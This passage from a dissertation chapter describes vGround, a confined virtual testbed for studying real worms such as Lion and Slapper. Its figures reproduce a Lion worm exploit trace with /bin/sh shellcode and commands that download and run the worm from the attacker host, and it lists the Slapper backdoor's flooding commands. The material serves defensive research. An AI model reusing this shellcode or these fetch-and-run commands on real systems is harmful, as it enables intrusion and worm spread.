worm [2] in a vGround with 2000 virtual end hosts, based on 10 physical machines

in a Linux cluster.

Although such scalability is effective in exposing worm propagation strategies based

on our limited physical resources (Section 4.4), it is not comparable to the scale

achieved by worm simulations. With different goals and focuses, vGround is more

suitable for analyzing system-level worm actions and damages, while the simulation-

based approach is better for network-level modeling of worm propagation under In-

ternet scale and topology. Moreover, lacking realistic background computation and

traffic load, current vGrounds are not appropriate for quantitative modeling of worm

propagation.



44

We have successfully run real worms, including multi-vector worms and polymorphic

worms, in vGrounds on our desktops, local clusters, and PlanetLab. Our experiments are

able to fully exhibit the worms’ probing and propagation patterns, exploitation attempts,

and malicious payloads, demonstrating the value of vGround in worm investigation and

defense research.

The rest of this chapter is organized as follows: Section 4.2 provides an overview

of vGround . The detailed design is presented in Section 4.3. Section 4.4 demonstrates

the effectiveness of vGround using our experiments with several real-world worms. A

discussion on its limitations and extensions is presented in Section 4.5. Related works are

discussed in Section 4.6. Finally, Section 4.7 summarize this chapter.

4.2 Overview of vGround

A vGround is a virtualization-based self-confined worm playground where every en-

tity, including the end host, firewall, router, and network cable, is virtualized. Moreover,

all network traffic is strictly confined within the vGround. vGrounds can be safely cre-

ated on a wide range of general-purpose infrastructures, including desktops, clusters, and

wide-area shared infrastructures such as PlanetLab. Figure 4.1 shows a simple vGround

1 created on top of three PlanetLab hosts A, B, and C. The vGround emulates three en-

terprise networks connected by three routers (R1, R2, and R3). Within the vGround, the

“seed” worm node (AS1 H1 in network A 128.10.0.0/16) is set to infect other nodes run-

ning vulnerable services. The network address space of a vGround is orthogonal to that

of the real Internet. Furthermore, multiple simultaneously running vGrounds can safely

overlap their address spaces without affecting each other because of their mutual isolation.

Using a vGround specification language, a worm researcher is able to specify the worm

experiment setup in a vGround, including software systems and services, IP addresses,

and routing information in virtual nodes (i.e. virtual end hosts and routers). Based on the

specification, the vGround platform will perform automatic vGround instantiation, boot-

strapping, and clean-up. In a typical worm experiment, multiple runs are often needed,

1The vGrounds for our worm experiments are much larger in scale.
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as each run may be configured using a different parameter setting (e.g., different worm

signatures [41, 72] and different traffic throttling thresholds [32]). Because of the worm’s

destructive behavior, the vGround will become unusable after each run and need to be

re-installed. The vGround platform is especially efficient in supporting such an iterative

worm experiment workflow.

To: 128.12.1.5
R2

Enterprise Network A

(128.10.0.0/16)

R1

AS1_H1: 128.10.1.1

AS1_H2: 128.10.1.2

Enterprise Network B

R3

Enterprise Network C

(planetlab6.millennium.berkeley.edu) (planetlab1.cs.purdue.edu)

128.10.1.250 128.9.1.2128.8.1.2128.8.1.1 128.9.1.1

Physical Host A Physical Host B Physical Host C
(planetlab8.lcs.mit.edu)

Worm

AS2_H1: 128.11.1.3

(128.11.0.0/16)

AS2_H2: 128.11.1.4
AS3_H1: 128.12.1.5

(128.12.0.0/16)

AS3_H2: 128.12.1.6

128.12.1.250

A vGround

Figure 4.1. A PlanetLab-based vGround for worm experiments

4.2.1 Key vGround Enabling Techniques

Full-system virtualization is adopted to achieve high fidelity of vGrounds. Worms infect

machines by remotely exploiting certain vulnerabilities in the OS or application services

(e.g., BIND, Sendmail, DNS). Therefore, vGrounds should provide the same vulnerabil-

ities as those in real software systems. Furthermore, vGround should help uncovering

unknown vulnerabilities exploited by worms, which cannot be discovered by worm simu-

lations.

There exist various VM technologies that enable full-system virtualization. The dif-

ferences in their implementations lead to different levels of cost, deployability and con-

figurability: VMware [21] and similarly Virtual PC [38] require several loadable kernel

modules for virtualizing underlying physical resources; Xen [29] and Denali [73] “paravir-

tualize” physical resources by running in place of the host OS; and UML [22] is mainly
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a user-level implementation through system call virtualization. We choose UML in the

current vGround implementation so that the deployment of vGround does not require root

privileges in the shared infrastructure. As a result, the current vGround prototype can be

widely deployed in most Linux-based systems (including PlanetLab). We note that the

original UML is not able to satisfy vGround needs and we have developed new extensions

to UML as described next.

New network virtualization techniques are developed to achieve vGround confinement.

Running a worm experiment simply in a number of VMs will not confine the worm traffic

within these VMs and thus prevent potential worm “leakage.” Although existing UML

implementation has some support for virtual networking, it is not capable of organizing

different VMs into an isolated virtual topology. In particular, when the underlying shared

infrastructure spans multiple physical domains, additional VPN software is needed to cre-

ate the illusion of a virtual Internet. However, there are two notable weaknesses: (1) A

VPN does not hide the existence of the underlying physical hosts and their network con-

nections, which fails to meet the strict isolation requirement; (2) A VPN usually needs to

be statically and manually configured as it requires root privileges to manipulate the rout-

ing table, which fails to meet the flexible experiment control requirement. As our solution,

we have developed a link-layer network virtualization technique to create a VN for VMs

in a vGround. The VN intercepts the traffic at the link-layer and is able to constrain both

the topology and volume of VM traffic generated in the vGround. Such a VN creates the

illusion of a “virtual Internet” (though with a smaller scale), with its own IP address space

and router infrastructure. More importantly, the VN and the real Internet are, by nature of

our network virtualization technique, mutually un-addressable.

New optimization techniques are developed to improve vGround scalability, efficiency,

and flexibility. To increase the number of VMs that can be supported in one physical host,

the resource consumption of each individual VM should be conserved. For example, a

full-system image of Red-Hat 9.0/7.2 requires approximately 1G/700M disk space. For a

vGround of 100 VMs, a naive approach would require at least 100G/70G disk space. Our

optimization techniques exploit the fact that a large portion of the VM images is the same
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and can be shared among the VMs. Furthermore, some services, libraries, and software

packages in the VM image are not relevant to the worm being tested, and can therefore

be safely removed. We also develop a new method to safely and efficiently generate VM

images in each physical host (Section 4.3.4). Finally, a new technique is being developed

to enable worm-driven vGround growth: new virtual nodes/subnets can be added to the

vGround at runtime in reaction to a worm’s infection intent.

template slapper {
           image slapper.ext2
           cow enabled
           startup {
                /etc/rc.d/init.d/httpd start
           }
}
template router {
           image router.ext2
           routing ospf
           startup {
                /etc/rc.d/init.d/ospfd start
           }
}

      network eth1 {
            switch AS1_AS2
            address 128.8.1.1/24
      }
}

      network eth0 {
            switch AS1_lan1
            address 128.10.1.250/24
      }

router R1 {
      superclass router

node   AS3_H1 {
           superclass slapper
           network eth0 { 
                   switch AS3_lan1
                   address 128.12.1.5/24
                   gateway 128.12.1.250
           }
}
node   AS3_H2 {
           superclass slapper
           network eth0 { 
                   switch AS3_lan1
                   address 128.12.1.6/24
                   gateway 128.12.1.250
           }
}

      network eth1 {
            switch AS2_AS3
            address 128.9.1.1/24
      }
}

      network eth0 {
            switch AS3_lan1
            address 128.12.1.250/24
      }

router R3 { 
      superclass router

switch AS1_AS2 {
        udp_sock 1500
        host  planetlab6.millennium.berkeley.edu
}

switch AS1_lan1 {
        unix_sock sock/as1_lan1
        host  planetlab6.millennium.berkeley.edu
}

node   AS1_H2 {
           superclass slapper
           network eth0 {
                   switch AS1_lan1
                   address 128.10.1.2/24
                   gateway 128.10.1.250
           }
}

node   AS1_H1 {
           superclass slapper
           network eth0 {
                   switch AS1_lan1
                   address 128.10.1.1/24
                   gateway 128.10.1.250
           }
}

switch AS3_lan1 { 
        unix_sock sock/as3_lan1
        host  planetlab8.lcs.mit.edu
}

      network eth1 {
            switch AS1_AS2
            address 128.8.1.2/24
      }
      network eth2 {
            switch AS2_AS3
            address 128.9.1.2/24
      }
}

      network eth0 {
            switch AS2_lan1

      }
            address 128.11.1.250/24

router R2 {
      superclass router

switch AS2_lan1 {
        unix_sock sock/as2_lan1
        host  planetlab1.cs.purdue.edu
}

switch AS2_AS3 {
        udp_sock 1500
        host  planetlab1.cs.purdue.edu
}
node   AS2_H1 {
           superclass slapper
           network eth0 {
                   switch AS2_lan1
                   address 128.11.1.3/24
                   gateway 128.11.1.250
           }
}
node   AS2_H2 {
           superclass slapper
           network eth0 {
                   switch AS2_lan1
                   address 128.11.1.4/24
                   gateway 128.11.1.250
           }
}

project  Planetlab−Worm

Figure 4.2. An example vGround specification

4.2.2 Interface for vGround Configuration

The vGround platform provides a specification language interface to worm researchers.

There are two major types of entities - network and virtual node, in the vGround specifica-

tion language. A network is the medium of communication among virtual nodes. A virtual

node can be an end-host, a router, a firewall, or an IDS system and it has one or more net-

work interface cards (NICs) - each with an IP address. In addition, the virtual nodes are

properly connected using routing mechanisms. Currently, the vGround platform supports

RIP, OSPF, and BGP protocols.

To conveniently specify and efficiently generate various system images, the language

defines the following notions: (1) A system template contains the basic VM system image

which is common among multiple virtual nodes. If a virtual node is derived from a system
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template, the node will inherit all the capabilities specified in the system template. The

notion of a system template is motivated by the observation that most end-hosts to be

victimized by a certain worm look similar from the worm’s perspective. (2) A cluster of

nodes is the group of nodes located in the same subnet. The user may specify that they

inherit from the same system template, with their IP addresses sharing the same subnet

prefix.

As an example, Figure 4.2 shows the specification for the vGround in Figure 4.1.

The keyword template indicates the system template used to generate other images files.

For example, the image slapper.ext2 is used to generate the images of the following end-

hosts: AS1 H1, AS1 H2, AS2 H1, AS2 H2, AS3 H1, and AS3 H2; while the image

router.ext2 is used to generate the images of routers R1, R2, and R3. The keyword switch

indicates the creation of a network connecting various virtual nodes. The internal key-

words unix sock and udp sock indicate different network virtualization techniques based

on UNIX and INET-4 sockets, respectively. The keyword cluster is not used in this exam-

ple. However, for a large-scale vGround, it is convenient to use cluster to specify a subnet,

which has a large number of end-hosts of similar configuration.

Once a vGround is created, the vGround platform also provides a collection of toolkits

to unleash the worm, collect worm infection traces, monitor worm propagation status, and

re-install or tear-down the vGround, to be described in Sections 4.3 and 4.4.

4.3 Design Details

4.3.1 Full-System Virtualization

The vGround platform leverages UML, an open-source VM implementation where

the guest OS runs directly in the unmodified user space of the host OS. Processes within a

UML-based VM are executed in the VM in exactly the same way as they are executed in

a native Linux machine. Leveraging the capability of ptrace, a special process is created

to intercept the system calls made by any process in the UML VM, and redirect them to

the guest OS kernel. Through system call interception, UML is able to virtualize various
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resources such as memory, networks, and other physical peripheral devices. An in-depth

analysis of UML is beyond the scope of this dissertation and interested readers are referred

to [22].

It is interesting to note that in an earlier implementation of UML, i.e., the “tt” mode

[22], the UML guest-OS kernel needs to reside in the last 0.5G of ptraced process address

space and is writable by default. Such placement prevents certain worms from exploiting

stack-based overflows and therefore limits applicability of vGrounds. In addition, the

“write” permission incurs security risk. The recent version of UML implements the “skas”

mode [22], where the tracing process acts as a kernel-level thread and does not impose

any restriction or risk. This explains why certain worms such as Lion cannot successfully

propagate in a vGround on top of PlanetLab, as the OS kernel of PlanetLab hosts does not

usually support the “skas” mode.
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Figure 4.3. Illustration of link-layer network virtualization in vGround

4.3.2 Link-Layer Network Virtualization

Figure 4.3 illustrates the link-layer network virtualization technique (highlighted by

the dotted rectangle) developed for vGround. It involves three different entities: virtual

NIC, virtual switch, and virtual cable, reflecting the corresponding physical counterparts.

The virtual switch, implemented as a regular server daemon, will receive connection re-

quests from other virtual NICs. Each successful connection emulates a virtual cable. The
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virtual NIC is largely based on the original UML implementation with certain extensions

to communicate with remote virtual switch daemons. These entities are link-layer “de-

vices,” which are not tamperable from inside a VM. This new design differentiates our

technique from other virtual networking techniques [74, 75] and is critical to achieving

strict confinement for a vGround. Also, the user-level implementation of our network vir-

tualization methods brings significant deployability and topology flexibility to vGrounds.

To demonstrate vGround’s address space isolation, we again use the PlanetLab exam-

ple in Figure 4.1. We execute the command traceroute in the VM AS1 H1 to find the

route to AS3 H2. The result is shown in Figure 4.4, indicating that the route is orthogo-

nal to the real Internet. More details of our network virtualization technique can be found

in [76].

[root@AS1_H1 /root]#traceroute  -n AS3_H2
traceroute to AS3_H2 (128.12.1.6), 30 hops max, 40 byte packets
 1  128.10.1.250  2.342 ms  3.694 ms  2.054 ms
 2  128.8.1.2  69.29 ms  68.943 ms  68.57 ms
 3  128.9.1.1  104.556 ms  107.078 ms  109.224 ms
 4  128.12.1.6  116.237 ms  172.488 ms  108.982 ms
[root@AS1_H1 /root]#

Figure 4.4. Running traceroute inside a vGround on PlanetLab

4.3.3 Virtual Node Optimization and Customization

A virtual node in a vGround can be one of the following: (1) an end-host exposing

certain software vulnerabilities to be exploited by worms; (2) a router forwarding packets

according to routing and topology specification; (3) a firewall monitoring and filtering

packets based on firewall rules; or (4) a network/host-based intrusion detection system

(IDS) sniffing and analyzing network traffic. We have applied and developed techniques

to customize VMs into different types of virtual nodes and to optimize VM disk space

requirement for better scalability.
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The system template is a useful facility to share the common part of virtual node

images. As shown in Section 4.2.1, images of the same type of virtual nodes have a lot

in common though they may have different network configurations. Every image file in

vGround is composed of two parts: a shared system template and a node-specific part. In

the example in Figure 4.2, the Apache service started by the script /etc/rc.d/init.d/httpd

start is common among all end-host images, while the OSPF service started by the script

/etc/rc.d/init.d/ospfd start is common among all router images. Every virtual node has its

unique networking configuration (e.g., IP address and routing table), which is specified

in the node-specific part. To execute a vGround specification, we leverage the Copy-On-

Write (COW) support in UML, which also helps achieve high image generation efficiency.

Another optimization is the stripping down of system templates. When a vGround

contains hundreds or thousands of virtual nodes, the templates will have to be tailored by

removing unneeded services. For worm experiments, this proves feasible because most

worms infect and propagate via only one or a small number of vulnerabilities. For exam-

ple, for the Lion worm experiment, a tailored system image with BIND-8.2.1 service only

requires 7MB. Since the system templates are regular ext2/ext3 file systems, it is possible

to build customized system templates from scratch. Packaging tools such as rpm can also

be leveraged to simplify this process.

4.3.4 Worm Experiment Services

To provide users with worm experiment convenience, vGround provides a number of

worm experiment services.

VM image generation (by VM) Every virtual node is created from its corresponding

image file containing a regular file system. However, image generation using direct file

manipulation operations such as mount and umount usually requires root privileges of

the underlying physical host. To efficiently generate image files without root privileges, a

“VM generating VMs” approach is developed: the vGround platform first boots a specially

crafted UML-based VM in each physical host, which takes less than 10 seconds. With
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the support of hostfs [22], this special VM is able to access files in the physical host’s

file system with regular user privilege. Inside the special VM, image generation will be

performed using the VM’s own root privileges. It only takes tens of seconds for the special

VM to generate hundreds of system images. We note that the special VM will not be part

of the vGround being created. Therefore, there is no possibility for worms to access files

in the physical host.

vGround bootstrapping and tear-down The vGround platform also creates scripts for

automatic boot-up and tear-down of virtual nodes, to be triggered remotely by the worm

researcher. In particular, the sequence of virtual node boot-up/tear-down is carefully ar-

ranged. For example, a virtual switch should be ready before the virtual nodes it connects.

In the current implementation, each virtual node is associated with a boot-order/tear-order

number to reflect such a sequence.

Generation and collection of worm traces Each virtual node in vGround has an embed-

ded logging module as part of its VM image. The logger generates worm traces, which

will be collected for analyzing different aspects of worms. The vGround platform sup-

ports different types of logging modules. Linux-based monitoring or intrusion detection

systems, such as tcpdump [40], snort [41], and bro [72], can be readily packaged and in-

stalled in vGround. In addition, we have designed and implemented a kernelized version

of snort, named kernort [43], that operates in the guest OS kernel of virtual nodes. Kernort

generates logs and pushes them down from the VM domain to the physical host domain at

runtime.

To collect traces generated by the hundreds and thousands of virtual nodes, manual

operation is obviously impractical, especially when the traces need to be collected “live”

at runtime. vGround automates the collection process via a toolkit that collects traces gen-

erated by different loggers (e.g., tcpdump, kernort). Furthermore, after an experiment, the

worm’s “crime scene” in the vGround can also be inspected and “evidence” be collected,

in a way similar to VM image generation: a special VM is instantiated to mount the image

file to be inspected (an ext2/ext3 file), and “evidence” collection will be performed via the

special VM.
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4.4 Worm Experiments in vGrounds

To demonstrate the capability of vGrounds, we present in this section a number of

worm experiments we have conducted in vGround using the following real-world worms:

the Lion worm [2], Slapper worm [10], and Ramen worm [77]. The experiments span

from individual stages for worm infections (e.g., target network space selection (Sec-

tion 4.4.1), propagation pattern and strategy (Section 4.4.2), exploitation steps (Section

4.4.3), and malicious payloads (Section 4.4.4)) to more advanced schemes such as intel-

ligent payloads (Section 4.4.4), multi-vector infections (Section 4.4.5), and polymorphic

appearances (Section 4.4.5). Throughout this section, we will highlight the new benefits

vGrounds bring to a worm researcher, as well as some worm analysis results obtained

during our experiments. We discuss the limitations and extensions in Section 4.5.

The infrastructure in our experiments is a Linux cluster, which belongs to the Com-

puting Center of Purdue University (ITaP). Neither do we have root privileges nor do we

obtain special assistance from the cluster administrator, indicating vGround’s deployabil-

ity. Each physical node in the cluster has two AMD Athlon processors (each with 64K L1

I-cache, 64K D-cache, and 256KB L2 cache), 1GB memory, and 10GB disk space.
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Figure 4.5. Target network space of the Lion worm and the Slapper worm
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4.4.1 Target Network Space

Using vGrounds, we first examine the target network space of Lion worms and Slapper

worms. We are especially interested in the address blocks that a worm tries to avoid. This

information not only exposes the worm author’s knowledge about unallocated Internet

address blocks [78], but also reveals the address blocks that have been “black-listed” by the

black-hat community (for example, the address blocks used for sinkhole networking [59]).

Lion worm The Lion worm “spreads by scanning random class B IP networks for hosts

that are vulnerable to a remote exploit in the BIND name service daemon. Once it has

found a candidate for infection, it attacks the remote machine and, if successful, down-

loads and installs a package” [2]. To create a vGround for the Lion worm, a system

template lion.ext2 is built, containing the vulnerable version of BIND service. Thanks

to vGround’s virtual node optimization techniques, the size of the image is only 7M . A

vGround with more than 1500 virtual nodes (1500 virtual end-hosts in ten subnets con-

nected by OSPF routers) is deployed on ten physical hosts each supporting about 150 vir-

tual nodes. The image files are generated within 60 seconds and the vGround is booted-up

in less than 90 seconds. In this experiment, we deploy “seed” Lion worms in ten virtual

end-hosts. Over a one-week period, the vGround automatically collects the traces gener-

ated by the kernort logging module embedded in the 10 infected end hosts. We then extract

and aggregate the IP addresses of attempted targets to show the distribution of Lion worm

victims.

Figure 4.5(a) shows the network distribution of targets probed by the Lion worm, based

on the first octet of their IP addresses. The probes are evenly distributed over the range

of 13.0.0.0/8 - 243.0.0.0/8. It seems that the Lion worm does not skip private or reserved

address blocks [78]. To verify this observation, we also perform reverse engineering using

objdump [79] on the Lion worm binary, which confirms our observation in vGround.

Slapper worm The Slapper worm exploits a buffer overflow vulnerability in the OpenSSL

component of SSL-enabled Apache web servers. If successful, the worm can be used as
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a back-door to start up a range of Denial-of-Service attacks [10]. The Slapper worm was

captured and thoroughly analyzed by researchers at Symantec [10].

A system template slapper.ext2 contains the vulnerable version of Apache server. The

size of the image is approximately 32M . A vGround with 2000 virtual nodes is deployed

on 20 physical hosts of the Linux cluster, with each hosting 100 virtual nodes. Similar to

the Lion worm experiment, we extract the probing traffic from the Slapper-infected nodes

and then plot the target address distribution in Figure 4.5(b).

Unlike the Lion worm which ignores the reserved IP address ranges, the Slapper worm

deliberately skips certain reserved IP address ranges. The address blocks skipped reflect

the global address assignment at the time when the Slapper worm was released. For ex-

ample, the address blocks of 82.0.0.0/8 - 88.0.0.0/8 were reserved by IANA (Internet

Assigned Numbers Authority) and therefore skipped by the Slapper worm, as shown in

Figure 4.5(b).

4.4.2 Propagation Patterns

Understanding a worm’s propagation pattern is important to the design of worm con-

tainment mechanisms. In this experiment, we demonstrate that vGrounds achieve suffi-

ciently large scale to observe a worm’s propagation pattern.

We create a vGround with 1000 vulnerable end-hosts running in 10 networks each with

100 end hosts (192.168.x.y, x = 1 · · · 10, y = 1 · · · 100). At the beginning, there is one

Slapper-infected “seeding” node (192.168.3.11) in the vGround. We allow the Slapper

worm to propagate in the vGround and the propagation progress is recorded. Based on

the vGround traces, the propagation pattern of Slapper worm can be visualized in Figure

4.6. The three sub-figures show the status of the vGround at three different time instances:

when 2%, 5%, and 10% of the end-hosts in the vGround are infected, respectively. The

x-axis is the third octet of an end-host’s IP, while the y-axis is the fourth octet. An “X”

indicates that the corresponding end-host is infected. The figure shows the progress and

victim distribution of Slapper worm propagation.



56

 0

 20

 40

 60

 80

 100

 0  2  4  6  8  10
Th

e 
fo

ur
th

 o
ct

et
 o

f I
P

 a
dd

re
ss

The third octet of IP address 

Infection Status: 2% are infected

Seeding Worm

(a) When 2% hosts infected

 0

 20

 40

 60

 80

 100

 0  2  4  6  8  10

Th
e 

fo
ur

th
 o

ct
et

 o
f I

P
 a

dd
re

ss

The third octet of IP address 

Infection Status: 5% are infected

Seeding Worm

(b) When 5% hosts infected

 0

 20

 40

 60

 80

 100

 0  2  4  6  8  10

Th
e 

fo
ur

th
 o

ct
et

 o
f I

P
 a

dd
re

ss

The third octet of IP address 

Infection Status: 10% are infected

Seeding Worm

(c) When 10% hosts infected

Figure 4.6. Propagation of Slapper worm w/ address-sweeping (total: 1000 hosts)
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Figure 4.7. Propagation of a Slapper worm variant w/ island-hopping (Total: 1000 hosts)
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From Figure 4.6, it can be conjectured that the Slapper worm is using an address-

sweeping strategy when selecting victims: once an address range such as 192.168.0.0/16

is chosen, hosts within the address range will then be sequentially scanned. Figure 4.6

shows that all the infected nodes are so far in the same subnet. A closer look at the

detailed vGround traces reveals the reason: it takes some time for the seed worm to “hit”

the 192.168.0.0/16 range and start infecting the hosts. The newly spawned worms will

do the same as the seed worm. If one of them hits the same range, it will “sweep” the

IP addresses again in the same sequence (i.e. from 192.168.0.1 to 192.168.254.254). An

analysis of the Slapper worm source code confirms our conjecture.

The scale of the above vGround may not be large enough to observe other propagation

patterns. For example, we synthesize a Slapper worm variant using the island-hopping

strategy [80]. Under this strategy, the seed worm targets the hosts in its own /16 range

with high probability (0.75), and hosts outside the range with low probability (0.25). The

same vGround for the original Slapper is used to run the Slapper variant. The propaga-

tion pattern is visualized in Figure 4.7. It is clear that the hosts in the worm’s local range

(192.168.0.0/16) are infected randomly instead of sequentially as in address sweeping.

Our vGround traces also indicate that the seed worm as well as the newly spawned worms

will immediately start to infect local hosts, without the delay (caused by random range

selection) observed in address sweeping. Unfortunately, the “hopping away” behavior

(i.e. worms infecting hosts outside the local range) cannot be observed in the vGround,

because of the limited address space of the vGround. As our solution, we develop a new

technique called worm-driven vGround growth: when a worm’s probing target is gener-

ated and the target is not in the vGround, a new subnet with at least the target host will be

dynamically generated and added to the vGround within seconds. Other techniques such

as NAT/reverse-NAT, VM freezing/resuming, and transparent proxying are also applicable

solutions. These techniques help to increase the probability of hitting a target victim and

thus better exposing a worm’s propagation strategy.
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4.4.3 Detailed Exploitation Steps

In this experiment, we demonstrate the fidelity of vGround in capturing the detailed

exploitation steps.

11:14:44.457068 20.0.3.3.1026 > 20.0.1.2.domain:  43981 inv_q+ [b2&3=0x980] (23) (DF)
...
0x0010   0a00 0102 0402 0035 001f 8ae3 abcd 0980        .......5........
0x0020 0000 0001 0000 0000 0000 0100 0120 2020        ................
0x0030 2002 61
11:14:44.457511 20.0.1.2.domain > 20.0.3.3.1026:  43981 inv_q FormErr [0q] 1/0/0 (Cla
ss 46331) Type0[|domain] (DF)
11:14:44.472424 20.0.3.3.1026 > 20.0.1.2.domain:  43981+ [2q] [1au] A? M-^PM-^PM-^PM-
k;1M-[_M-^CM-o|M-^Mw^PM-^Iw^DM-^MO M-^IO^HM-3^PM-^I^Y1M-IM-1M-^?M-^I^OQ1M-@M-0fM-3^GM
-^IM-yM-MM-^@Y1M-[9M-Xu^JfM-;^D^Af9^^Bt^HM-bM-‘.M-hM-@M-^?M-^?M-^?M-^IM-K1M-IM-1^C1M-
@M-0?IM-MM-^@AM-bM-vM-k^T1M-@[M-^MK^TM-^I^YM-^IC^XM-^HC^G1M-RM-0^KM-MM-^@M-hM-gM-^?M-
^?M-^?/bin/shM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^P.M-z.M-?.M-^A.@.M-^A.@.^@.^@.M-{.M-?.M-z
.M-?.^@.^@.^@.^@.M-^M.@.M-{.M-?.Q.@.^@.^@.M-{.M-?.^@.^@.^@.^@.^W.^H.^X.^H.^Y.^H.M-{.M
-?.^W.^H.M-|.M-?.^Z.^H.^@.^@.^@.^@.d.^@.^@.^@.^@.^@.M-^@.@.^@.^@.k.^H.^W.^H.M-{.M-?.
(509) (DF)
...
0x0080   31c0 5b8d 4b14 8919 8943 1888 4307 31d2        1.[.K....C..C.1.
0x0090   b00b cd80 e8e7 ffff ff2f 6269 6e2f 7368        ........./bin/sh
...
11:14:44.473328 20.0.1.2.domain > 20.0.3.3.1026:  43981 [2q] 0/0/1 (533) (DF)
11:14:45.547904 20.0.3.3.1025 > 20.0.1.2.domain: P 1:643(642) ack 1 win 5840 <nop,nop
,timestamp 8082 7988> (DF)
...
0x0030   0000 1f34 5041 5448 3d27 2f75 7372 2f62        ...4PATH=’/usr/b
0x0040   696e 3a2f 6269 6e3a 2f75 7372 2f6c 6f63        in:/bin:/usr/loc
0x0050   616c 2f62 696e 2f3a 2f75 7372 2f73 6269        al/bin/:/usr/sbi
0x0060   6e2f 3a2f 7362 696e 273b 6578 706f 7274        n/:/sbin’;export
0x0070   2050 4154 483b 6578 706f 7274 2054 4552        .PATH;export.TER
...
0x01f0   746d 6c3b 6563 686f 2027 2321 2f62 696e        tml;echo.’#!/bin
0x0200   2f73 6827 203e 206c 696f 6e3b 6563 686f        /sh’.>.lion;echo
0x0210   2027 6e6f 6875 7020 6669 6e64 202f 202d        .’nohup.find./.-
0x0220   6e61 6d65 2022 696e 6465 782e 6874 6d6c        name."index.html
0x0230   2220 2d65 7865 6320 2f62 696e 2f63 7020        ".-exec./bin/cp.
0x0240   696e 6465 782e 6874 6d6c 207b 7d20 5c3b        index.html.{}.\;
0x0250   273e 3e6c 696f 6e3b 6563 686f 2027 7461        ’>>lion;echo.’ta
0x0260   7220 2d78 6620 3169 306e 2e74 6172 273e        r.-xf.1i0n.tar’>
0x0270   3e6c 696f 6e3b 6563 686f 2027 2e2f 3169        >lion;echo.’./1i
0x0280   306e 2e73 6827 203e 3e6c 696f 6e3b 6563        0n.sh’.>>lion;ec
0x0290   686f 203e 3e6c 696f 6e3b 6563 686f 203e        ho.>>lion;echo.>
0x02a0   3e6c 696f 6e3b 6368 6d6f 6420 3735 3520        >lion;chmod.755.
0x02b0   6c69 6f6e 3b0a                                 lion;.
...
11:14:45.548031 20.0.1.2.domain > 20.0.3.3.1025: . ack 643 win 7062 <nop,nop,timestam
p 8101 8082> (DF)
11:14:45.550886 20.0.3.3.1025 > 20.0.1.2.domain: P 643:770(127) ack 1 win 5840 <nop,n
op,timestamp 8082 8101> (DF)
...
0x0030   0000 1fa5 5445 524d 3d27 6c69 6e75 7827        ....TERM=’linux’
0x0040   0a65 7870 6f72 7420 5041 5448 3d27 2f73        .export.PATH=’/s
0x0050   6269 6e3a 2f75 7372 2f73 6269 6e3a 2f62        bin:/usr/sbin:/b
0x0060   696e 3a2f 7573 722f 6269 6e3a 2f75 7372        in:/usr/bin:/usr
0x0070   2f6c 6f63 616c 2f62 696e 270a 6c79 6e78        /local/bin’.lynx
0x0080   202d 736f 7572 6365 2068 7474 703a 2f2f        .-source.http://
0x0090   3230 2e30 2e33 2e33 3a32 3733 3734 203e        20.0.3.3:27374.>
0x00a0   2031 6930 6e2e 7461 723b 2e2f 6c69 6f6e        .1i0n.tar;./lion
...
11:14:45.550949 20.0.1.2.domain > 20.0.3.3.1025: . ack 770 win 7062 <nop,nop,timestam
p 8101 8082> (DF)

Figure 4.8. Exploitation details of the Lion worm

Lion worm Figure 4.8 shows a tcpdump trace generated in the vGround for the Lion

worm experiment in Section 4.4.1. The trace shows a complete infection process with

network-level details. The initial TCP connection handshake is omitted from the figure.

The trace shows that the vulnerability in the BIND service [81] is successfully exploited

and a remote shell is created. The byte sequence shown in lines 2, 3 and 4 is exactly the

signature used in snort [41] for Lion worm detection. The trace also shows the sequence

of specially-crafted commands executed next, which result in the transfer and activation

of a worm copy.

Slapper worm The Slapper worm is unique in its heap-based exploitation [82]. vGround

successfully reproduces the detailed exploits: Initially, a TCP connection is initiated to
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Figure 4.9. Exploitation details of the Slapper worm

verify the reachability of a victim, which, if reachable, is followed by an invalid HTTP

GET request to acquire the version of vulnerable Apache server. Once the version is ob-

tained, a succession of 20 connections at 100 millisecond intervals occupies all existing

Apache processes and thus forces the creation of two fresh processes when serving the

next two SSL connections. The purpose of “forking” two fresh processes is to have the

same heap structures within them and thus prepare for the final two SSL handshake ex-

ploitations. The first SSL connection exploits the vulnerability to obtain the exact location

of affected heap allocation, which is used in the second SSL connection to correctly patch

the attack buffer. The second SSL connection re-triggers the heap-based buffer overflow

that transfers to the control of the just-patched attack buffer.

We do not show the full vGround traces during the above exploitation process. Instead,

the trace in the final stage of the attack is shown in Figure 4.9. From the decoded area of

Figure 4.9, it can be seen that the worm source is transferred in the uuencoded2 format.

2Uuencode, or the full name “Unix to Unix Encoding”, represents a method or tool for converting files from
binary to ASCII(text) so that they can be sent across the Internet via email.



61

4.4.4 Malicious Payloads

A worm’s payload reveals the intention of the worm author and often leads to destruc-

tive impact. The vGround is an ideal venue to invoke the malicious payload, because the

consequent damage will be confined within the vGround. Moreover, the vGround will be

easily recoverable because of the all-software user-level implementation.

The following string is found in the Lion worm trace in Figure 4.8: find / -name

“index.html” -exec /bin/cp index.html {} \;. The Lion worm recursively searches for

all index.html files starting from the “/” root directory and replaces them with a built-in

web page. This malicious payload is confirmed by our forensic analysis enabled by the

vGround post-infection trace collection service (Section 4.3.4). We also run an earlier

version of the Lion worm in a separate vGround. We observe that the Lion worm carries

and installs an infamous rootkit - t0rn [83], which will destroy the infected host. Without

full-system virtualization, such kernel-level damage cannot be easily reproduced. Fur-

thermore, the vGround contains the damage and makes the system re-installation fast and

easy.

[root@c1_2 /root]#pudclient 127.0.0.1
PUD Client version 11092002Ready, type in the 
commands as follows, or type help for a list:

help
The commands are:
  * kill      kills the daemon

  * log       log output to file

  * bounce    adds a bounce
  * close     closes a bounce

  * info      requests info
  * list      lists the current servers
  * sh        execs a command

  * udpflood  send a udp flood
  * tcpflood  send a tcp flood
  * dnsflood  send a dns flood

  * escan     scans hard drive for emails

Figure 4.10. Payloads of the Slapper worm

The Slapper worm is more advanced in self-organizing worm-infected hosts into a

P2P attack network. In the vGround for the Slapper worm, we are able to observe the
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operations of this P2P network. More specifically, we deploy a special client [84] in one

of the end hosts. The special client will issue commands (listed in Figure 4.10) to the

infected hosts. Meanwhile, each Slapper worm carries a DDoS payload component [84].

In the vGround, we are able to issue commands such as list, udpflood, and tcpflood via

the special client. The vGround traces indicate that a command is propagated among the

infected hosts in a P2P fashion, rather than being sent directly from the special client. The

vGround provides a convenient environment to further investigate such advanced attack

strategy.

4.4.5 Advanced Worm Experiments

In this section, we present a number of advanced experiments where vGrounds demon-

strate unique advantages over other worm experiment environments.

